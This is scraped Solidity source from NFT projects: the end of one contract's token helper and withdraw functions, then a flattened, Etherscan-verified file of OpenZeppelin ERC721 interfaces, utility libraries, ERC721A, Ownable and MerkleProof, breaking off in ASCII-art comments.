Hardcode the Manager's approval so that users don't have to waste gas approving if (_msgSender() != address(skullIsland)) require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } function _baseURI() internal view override returns (string memory) { return _baseapiURI; } function setBaseURI(string memory uri) external onlyOwner { _baseapiURI = uri; } function changeTopEXAddress(uint16 _id, address _address) external onlyOwner { _TopEXAddress[_id] = _address; } function withdraw() external onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-02-07 */ // Sources flattened with hardhat v2.8.0 https://hardhat.org // File @openzeppelin/contracts/utils/introspection/[email protected] // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/token/ERC721/extensions/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File contracts/ERC721A.sol // Creators: locationtba.eth, 2pmflow.eth pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/utils/cryptography/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // File contracts/FFC.sol pragma solidity ^0.8.2; // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ // 